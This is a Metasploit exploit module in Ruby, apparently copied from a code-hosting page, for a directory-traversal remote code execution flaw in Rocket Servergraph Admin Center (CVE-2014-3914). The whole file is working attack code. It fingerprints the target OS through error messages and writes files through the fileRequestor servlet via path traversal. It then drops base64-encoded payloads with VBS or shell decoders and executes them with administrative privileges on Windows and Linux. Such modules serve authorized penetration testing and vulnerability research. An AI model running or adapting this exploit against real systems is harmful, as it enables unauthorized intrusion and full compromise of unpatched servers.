348 lines
No EOL
9.7 KiB
Ruby
Executable file
348 lines
No EOL
9.7 KiB
Ruby
Executable file
##
|
|
# This module requires Metasploit: http//metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'msf/core'
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
Rank = GreatRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::FileDropper
|
|
include Msf::Exploit::EXE
|
|
|
|
def initialize(info = {})
|
|
super(update_info(info,
|
|
'Name' => 'Rocket Servergraph Admin Center fileRequestor Remote Code Execution',
|
|
'Description' => %q{
|
|
This module abuses several directory traversal flaws in Rocket Servergraph Admin
|
|
Center for Tivoli Storage Manager. The issues exist in the fileRequestor servlet,
|
|
allowing a remote attacker to write arbitrary files and execute commands with
|
|
administrative privileges. This module has been tested successfully on Rocket
|
|
ServerGraph 1.2 over Windows 2008 R2 64 bits, Windows 7 SP1 32 bits and Ubuntu
|
|
12.04 64 bits.
|
|
},
|
|
'Author' =>
|
|
[
|
|
'rgod <rgod[at]autistici.org>', # Vulnerability discovery
|
|
'juan vazquez' # Metasploit module
|
|
],
|
|
'License' => MSF_LICENSE,
|
|
'References' =>
|
|
[
|
|
['CVE', '2014-3914'],
|
|
['ZDI', '14-161'],
|
|
['ZDI', '14-162'],
|
|
['BID', '67779']
|
|
],
|
|
'Privileged' => true,
|
|
'Platform' => %w{ linux unix win },
|
|
'Arch' => [ARCH_X86, ARCH_X86_64, ARCH_CMD],
|
|
'Payload' =>
|
|
{
|
|
'Space' => 8192, # it's writing a file, so just a long enough value
|
|
'DisableNops' => true
|
|
#'BadChars' => (0x80..0xff).to_a.pack("C*") # Doesn't apply
|
|
},
|
|
'Targets' =>
|
|
[
|
|
[ 'Linux (Native Payload)',
|
|
{
|
|
'Platform' => 'linux',
|
|
'Arch' => ARCH_X86
|
|
}
|
|
],
|
|
[ 'Linux (CMD Payload)',
|
|
{
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD
|
|
}
|
|
],
|
|
[ 'Windows / VB Script',
|
|
{
|
|
'Platform' => 'win',
|
|
'Arch' => ARCH_X86
|
|
}
|
|
],
|
|
[ 'Windows CMD',
|
|
{
|
|
'Platform' => 'win',
|
|
'Arch' => ARCH_CMD
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 0,
|
|
'DisclosureDate' => 'Oct 30 2013'))
|
|
|
|
register_options(
|
|
[
|
|
Opt::RPORT(8888)
|
|
], self.class)
|
|
|
|
register_advanced_options(
|
|
[
|
|
OptInt.new('TRAVERSAL_DEPTH', [ true, 'Traversal depth to hit the root folder', 20]),
|
|
OptString.new("WINDIR", [ true, 'The Windows Directory name', 'WINDOWS' ]),
|
|
OptString.new("TEMP_DIR", [ false, 'A directory where we can write files' ])
|
|
], self.class)
|
|
|
|
end
|
|
|
|
def check
|
|
os = get_os
|
|
|
|
if os.nil?
|
|
return Exploit::CheckCode::Safe
|
|
end
|
|
|
|
Exploit::CheckCode::Appears
|
|
end
|
|
|
|
def exploit
|
|
os = get_os
|
|
|
|
if os == 'win' && target.name =~ /Linux/
|
|
fail_with(Failure::BadConfig, "#{peer} - Windows system detected, but Linux target selected")
|
|
elsif os == 'linux' && target.name =~ /Windows/
|
|
fail_with(Failure::BadConfig, "#{peer} - Linux system detected, but Windows target selected")
|
|
elsif os.nil?
|
|
print_warning("#{peer} - Failed to detect remote operating system, trying anyway...")
|
|
end
|
|
|
|
if target.name =~ /Windows.*VB/
|
|
exploit_windows_vbs
|
|
elsif target.name =~ /Windows.*CMD/
|
|
exploit_windows_cmd
|
|
elsif target.name =~ /Linux.*CMD/
|
|
exploit_linux_cmd
|
|
elsif target.name =~ /Linux.*Native/
|
|
exploit_linux_native
|
|
end
|
|
end
|
|
|
|
def exploit_windows_vbs
|
|
traversal = "\\.." * traversal_depth
|
|
payload_base64 = Rex::Text.encode_base64(generate_payload_exe)
|
|
temp = temp_dir('win')
|
|
decoder_file_name = "#{rand_text_alpha(4 + rand(3))}.vbs"
|
|
encoded_file_name = "#{rand_text_alpha(4 + rand(3))}.b64"
|
|
exe_file_name = "#{rand_text_alpha(4 + rand(3))}.exe"
|
|
|
|
print_status("#{peer} - Dropping the encoded payload to filesystem...")
|
|
write_file("#{traversal}#{temp}#{encoded_file_name}", payload_base64)
|
|
|
|
vbs = generate_decoder_vbs({
|
|
:temp_dir => "C:#{temp}",
|
|
:encoded_file_name => encoded_file_name,
|
|
:exe_file_name => exe_file_name
|
|
})
|
|
print_status("#{peer} - Dropping the VBS decoder to filesystem...")
|
|
write_file("#{traversal}#{temp}#{decoder_file_name}", vbs)
|
|
|
|
register_files_for_cleanup("C:#{temp}#{decoder_file_name}")
|
|
register_files_for_cleanup("C:#{temp}#{encoded_file_name}")
|
|
register_files_for_cleanup("C:#{temp}#{exe_file_name}")
|
|
print_status("#{peer} - Executing payload...")
|
|
execute("#{traversal}\\#{win_dir}\\System32\\cscript //nologo C:#{temp}#{decoder_file_name}")
|
|
end
|
|
|
|
|
|
def exploit_windows_cmd
|
|
traversal = "\\.." * traversal_depth
|
|
execute("#{traversal}\\#{win_dir}\\System32\\cmd.exe /B /C #{payload.encoded}")
|
|
end
|
|
|
|
def exploit_linux_native
|
|
traversal = "/.." * traversal_depth
|
|
payload_base64 = Rex::Text.encode_base64(generate_payload_exe)
|
|
temp = temp_dir('linux')
|
|
encoded_file_name = "#{rand_text_alpha(4 + rand(3))}.b64"
|
|
decoder_file_name = "#{rand_text_alpha(4 + rand(3))}.sh"
|
|
elf_file_name = "#{rand_text_alpha(4 + rand(3))}.elf"
|
|
|
|
print_status("#{peer} - Dropping the encoded payload to filesystem...")
|
|
write_file("#{traversal}#{temp}#{encoded_file_name}", payload_base64)
|
|
|
|
decoder = <<-SH
|
|
#!/bin/sh
|
|
|
|
base64 --decode #{temp}#{encoded_file_name} > #{temp}#{elf_file_name}
|
|
chmod 777 #{temp}#{elf_file_name}
|
|
#{temp}#{elf_file_name}
|
|
SH
|
|
|
|
print_status("#{peer} - Dropping the decoder to filesystem...")
|
|
write_file("#{traversal}#{temp}#{decoder_file_name}", decoder)
|
|
|
|
register_files_for_cleanup("#{temp}#{decoder_file_name}")
|
|
register_files_for_cleanup("#{temp}#{encoded_file_name}")
|
|
register_files_for_cleanup("#{temp}#{elf_file_name}")
|
|
|
|
print_status("#{peer} - Giving execution permissions to the decoder...")
|
|
execute("#{traversal}/bin/chmod 777 #{temp}#{decoder_file_name}")
|
|
|
|
print_status("#{peer} - Executing decoder and payload...")
|
|
execute("#{traversal}/bin/sh #{temp}#{decoder_file_name}")
|
|
end
|
|
|
|
def exploit_linux_cmd
|
|
temp = temp_dir('linux')
|
|
elf = rand_text_alpha(4 + rand(4))
|
|
|
|
traversal = "/.." * traversal_depth
|
|
print_status("#{peer} - Dropping payload...")
|
|
write_file("#{traversal}#{temp}#{elf}", payload.encoded)
|
|
register_files_for_cleanup("#{temp}#{elf}")
|
|
print_status("#{peer} - Providing execution permissions...")
|
|
execute("#{traversal}/bin/chmod 777 #{temp}#{elf}")
|
|
print_status("#{peer} - Executing payload...")
|
|
execute("#{traversal}#{temp}#{elf}")
|
|
end
|
|
|
|
def generate_decoder_vbs(opts = {})
|
|
decoder_path = File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64")
|
|
|
|
f = File.new(decoder_path, "rb")
|
|
decoder = f.read(f.stat.size)
|
|
f.close
|
|
|
|
decoder.gsub!(/>>decode_stub/, "")
|
|
decoder.gsub!(/^echo /, "")
|
|
decoder.gsub!(/ENCODED/, "#{opts[:temp_dir]}#{opts[:encoded_file_name]}")
|
|
decoder.gsub!(/DECODED/, "#{opts[:temp_dir]}#{opts[:exe_file_name]}")
|
|
|
|
decoder
|
|
end
|
|
|
|
def get_os
|
|
os = nil
|
|
path = ""
|
|
hint = rand_text_alpha(3 + rand(4))
|
|
|
|
res = send_request(20, "writeDataFile", rand_text_alpha(4 + rand(10)), "/#{hint}/#{hint}")
|
|
|
|
if res && res.code == 200 && res.body =~ /java.io.FileNotFoundException: (.*)\/#{hint}\/#{hint} \(No such file or directory\)/
|
|
path = $1
|
|
elsif res && res.code == 200 && res.body =~ /java.io.FileNotFoundException: (.*)\\#{hint}\\#{hint} \(The system cannot find the path specified\)/
|
|
path = $1
|
|
end
|
|
|
|
if path =~ /^\//
|
|
os = 'linux'
|
|
elsif path =~ /^[a-zA-Z]:\\/
|
|
os = 'win'
|
|
end
|
|
|
|
os
|
|
end
|
|
|
|
def temp_dir(os)
|
|
temp = ""
|
|
case os
|
|
when 'linux'
|
|
temp = linux_temp_dir
|
|
when 'win'
|
|
temp = win_temp_dir
|
|
end
|
|
|
|
temp
|
|
end
|
|
|
|
def linux_temp_dir
|
|
dir = "/tmp/"
|
|
|
|
if datastore['TEMP_DIR'] && !datastore['TEMP_DIR'].empty?
|
|
dir = datastore['TEMP_DIR']
|
|
end
|
|
|
|
unless dir.start_with?("/")
|
|
dir = "/#{dir}"
|
|
end
|
|
|
|
unless dir.end_with?("/")
|
|
dir = "#{dir}/"
|
|
end
|
|
|
|
dir
|
|
end
|
|
|
|
def win_temp_dir
|
|
dir = "\\#{win_dir}\\Temp\\"
|
|
|
|
if datastore['TEMP_DIR'] && !datastore['TEMP_DIR'].empty?
|
|
dir = datastore['TEMP_DIR']
|
|
end
|
|
|
|
dir.gsub!(/\//, "\\")
|
|
dir.gsub!(/^([A-Za-z]:)?/, "")
|
|
|
|
unless dir.start_with?("\\")
|
|
dir = "\\#{dir}"
|
|
end
|
|
|
|
unless dir.end_with?("\\")
|
|
dir = "#{dir}\\"
|
|
end
|
|
|
|
dir
|
|
end
|
|
|
|
def win_dir
|
|
dir = "WINDOWS"
|
|
if datastore['WINDIR']
|
|
dir = datastore['WINDIR']
|
|
dir.gsub!(/\//, "\\")
|
|
dir.gsub!(/[\\]*$/, "")
|
|
dir.gsub!(/^([A-Za-z]:)?[\\]*/, "")
|
|
end
|
|
|
|
dir
|
|
end
|
|
|
|
def traversal_depth
|
|
depth = 20
|
|
|
|
if datastore['TRAVERSAL_DEPTH'] && datastore['TRAVERSAL_DEPTH'] > 1
|
|
depth = datastore['TRAVERSAL_DEPTH']
|
|
end
|
|
|
|
depth
|
|
end
|
|
|
|
def write_file(file_name, contents)
|
|
res = send_request(20, "writeDataFile", Rex::Text.uri_encode(contents), file_name)
|
|
|
|
unless res && res.code == 200 && res.body.to_s =~ /Data successfully writen to file: /
|
|
fail_with(Failure::Unknown, "#{peer} - Failed to write file... aborting")
|
|
end
|
|
|
|
res
|
|
end
|
|
|
|
def execute(command)
|
|
res = send_request(1, "run", command)
|
|
|
|
res
|
|
end
|
|
|
|
def send_request(timeout, command, query, source = rand_text_alpha(rand(4) + 4))
|
|
data = "&invoker=#{rand_text_alpha(rand(4) + 4)}"
|
|
data << "&title=#{rand_text_alpha(rand(4) + 4)}"
|
|
data << "¶ms=#{rand_text_alpha(rand(4) + 4)}"
|
|
data << "&id=#{rand_text_alpha(rand(4) + 4)}"
|
|
data << "&cmd=#{command}"
|
|
data << "&source=#{source}"
|
|
data << "&query=#{query}"
|
|
|
|
res = send_request_cgi(
|
|
{
|
|
'uri' => normalize_uri('/', 'SGPAdmin', 'fileRequest'),
|
|
'method' => 'POST',
|
|
'data' => data
|
|
}, timeout)
|
|
|
|
res
|
|
end
|
|
|
|
end |